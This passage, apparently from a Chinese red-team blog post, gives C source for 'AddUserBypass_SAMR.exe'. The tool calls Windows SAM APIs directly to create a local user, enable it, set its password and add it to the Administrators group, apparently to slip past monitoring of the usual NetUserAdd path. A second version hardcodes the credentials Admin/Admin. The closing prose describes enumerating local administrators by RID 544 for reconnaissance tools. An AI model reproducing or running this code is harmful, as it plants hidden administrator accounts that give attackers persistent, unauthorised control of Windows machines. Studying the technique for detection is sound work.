status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);

if (NT_SUCCESS(status))
{
do
{
enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned);
for (i = 0; i < domainCountReturned; i++)
{
// Get Builtin Domain SID & Account Domain SID
if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid);
else
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid);
}

} while (enumDomainStatus == STATUS_MORE_ENTRIES);

status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle);
if (NT_SUCCESS(status))
{
// Create user in Account Domain
status = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId);
if (NT_SUCCESS(status))
{

wprintf(L&#34;[*] SamCreateUser2InDomain success. User RID: %d\n&#34;, relativeId);
userAllInfo.NtPasswordPresent = TRUE;
userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;

// Clear the UF_ACCOUNTDISABLE to enable account
userAllInfo.UserAccountControl &amp;= 0xFFFFFFFE;
userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;
userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;
RtlInitUnicodeString(&amp;userAllInfo.NtOwfPassword, password.Buffer);

// Set password and userAccountControl
status = SamSetInformationUser(hUserHandle, UserAllInformation, &amp;userAllInfo);
if (NT_SUCCESS(status))
{
 wprintf(L&#34;[*] SamSetInformationUser success\n&#34;);
}
else wprintf(L&#34;[!] SamSetInformationUser error : 0x%08X\n&#34;, status);

}
else wprintf(L"[!] SamCreateUser2InDomain error : 0x%08X\n", status);

}
else wprintf(L"[!] SamOpenDomain error : 0x%0X8\n", status);

status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, builtinDomainSid, &hDomainHandle);
if (NT_SUCCESS(status))
{
RtlInitUnicodeString(&adminGroup, L"administrators");

// Lookup Administrators in Builtin Domain
status = SamLookupNamesInDomain(hDomainHandle, 1, &adminGroup, &adminRID, &USE);
if (NT_SUCCESS(status))
{

status = SamOpenAlias(hDomainHandle, ALIAS_ADD_MEMBER, *adminRID, &amp;hAdminGroup);
if (NT_SUCCESS(status))
{
 SamRidToSid(hUserHandle, relativeId, &amp;userSID);

 // Add user to Administrators
 status = SamAddMemberToAlias(hAdminGroup, userSID);
 if (NT_SUCCESS(status))
 {
  wprintf(L&#34;[*] SamAddMemberToAlias success\n&#34;);
 }
 else wprintf(L&#34;[!] AddMemberToAlias error : 0x%08X\n&#34;, status);
}
else wprintf(L&#34;[!] SamOpenAlias error : 0x%08X\n&#34;, status);

}
else wprintf(L"[!] SamLookupNamesInDomain error : 0x%08X\n", status);

}

}
else wprintf(L"[!] Samconnect error\n");

SamCloseHandle(hUserHandle);
SamCloseHandle(hDomainHandle);
SamCloseHandle(hServerHandle);
SamFreeMemory(pEnumDomainBuffer);
SamFreeMemory(pEnumGroupBuffer);

}

int wmain(int argc, wchar_t* argv[])
{
if (argc == 3)
{
AddUser(argv[1], argv[2]);
}
else wprintf(L"Usage: AddUserBypass_SAMR.exe <username> <password>");

return 0;
}

全系统版本

代码语言:javascript
复制
#include "ApiAddUser.h"

int wmain(int argc, wchar_t* argv[])
{
UNICODE_STRING UserName;
UNICODE_STRING PassWord;
HANDLE ServerHandle = NULL;
HANDLE DomainHandle = NULL;
HANDLE UserHandle = NULL;
ULONG GrantedAccess;
ULONG RelativeId;
NTSTATUS Status = NULL;
HMODULE hSamlib = NULL;
HMODULE hNtdll = NULL;
HMODULE hNetapi32 = NULL;
LSA_HANDLE hPolicy = NULL;
LSA_OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
PPOLICY_ACCOUNT_DOMAIN_INFO DomainInfo = NULL;
USER_ALL_INFORMATION uai = { 0 };

hSamlib = LoadLibraryA("samlib.dll");
hNtdll = LoadLibraryA("ntdll");

pSamConnect SamConnect = (pSamConnect)GetProcAddress(hSamlib, "SamConnect");
pSamOpenDomain SamOpenDomain = (pSamOpenDomain)GetProcAddress(hSamlib, "SamOpenDomain");
pSamCreateUser2InDomain SamCreateUser2InDomain = (pSamCreateUser2InDomain)GetProcAddress(hSamlib, "SamCreateUser2InDomain");
pSamSetInformationUser SamSetInformationUser = (pSamSetInformationUser)GetProcAddress(hSamlib, "SamSetInformationUser");
pSamQuerySecurityObject SamQuerySecurityObject = (pSamQuerySecurityObject)GetProcAddress(hSamlib, "SamQuerySecurityObject");
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");

RtlInitUnicodeString(&UserName, L"Admin");
RtlInitUnicodeString(&PassWord, L"Admin");

Status = SamConnect(NULL, &ServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_LOOKUP_DOMAIN, NULL);;
Status = LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_VIEW_LOCAL_INFORMATION,&hPolicy);
Status = LsaQueryInformationPolicy(hPolicy, PolicyAccountDomainInformation, (PVOID*)&DomainInfo);

Status = SamOpenDomain(ServerHandle,
DOMAIN_CREATE_USER | DOMAIN_LOOKUP | DOMAIN_READ_PASSWORD_PARAMETERS,
DomainInfo->DomainSid,
&DomainHandle);

Status = SamCreateUser2InDomain(DomainHandle,
&UserName,
USER_NORMAL_ACCOUNT,
USER_ALL_ACCESS | DELETE | WRITE_DAC,
&UserHandle,&GrantedAccess,&RelativeId);

RtlInitUnicodeString(&uai.NtPassword, PassWord.Buffer);
uai.NtPasswordPresent = TRUE;
uai.WhichFields |= USER_ALL_NTPASSWORDPRESENT;

Status = SamSetInformationUser(UserHandle,
UserAllInformation,
&uai);

return 0;
}

MS-SAMR协议在信息收集/修改方面能做的事情很多,如枚举/修改对象的ACL、用户&组信息、枚举密码策略等。此处以枚举本地管理员组账户为例

通常进行本地管理员组账户的枚举会调用NetLocalGroupGetMembers()这一API,前面提到过这类API底层也是调用MS-SAMR协议,先来看一下正常调用的过程:

  1. SamrConnect:获取Server对象的句柄
  2. SamrOpenDomain:打开目标内置域的句柄
  3. SamrLookupNamesInDomain:在内置域中搜索Administrators的RID
  4. SamrOpenAlias:根据Administrators的RID打开别名句柄
  5. SamrGetMembersInAlias:枚举别名对象中的成员SID

此时我们如果想要开发自动化的信息收集工具(如SharpHound),那么我们需要考虑工具的通用性,比如在第3步调用SamrLookupNamesInDomain()时,我们需要传入“Administrators”,但在某些系统中管理员组的名字可能有差异,如部分非英文操作系统中该组名为“Administradors”,或者运维修改了本地管理员组名称,这样我们直接调用NetLocalGroupGetMembers()便不合适了

此时我们可以考虑优化这一操作,我们可以注意到本地管理员组在不同Windows系统上的RID始终为544

那么我们可以这样调用:

  1. SamrConnect:获取Server对象的句柄
  2. SamrOpenDomain:打开目标内置域的句柄
  3. SamrOpenAlias:打开RID为544对象的别名句柄
  4. SamrGetMembersInAlias:枚举该别名对象中的成员SID

参考

https://idiotc4t.com/redteam-research/netuseradd-ni-xiang https://doxygen.reactos.org/d2/d5b/dll_2win32_2netapi32_2user_8c.html#a854f5ebc802849632ccda207250e7b04

https://loong716.top/posts/MS_SAMR_Tips/

https://www.anquanke.com/post/id/264890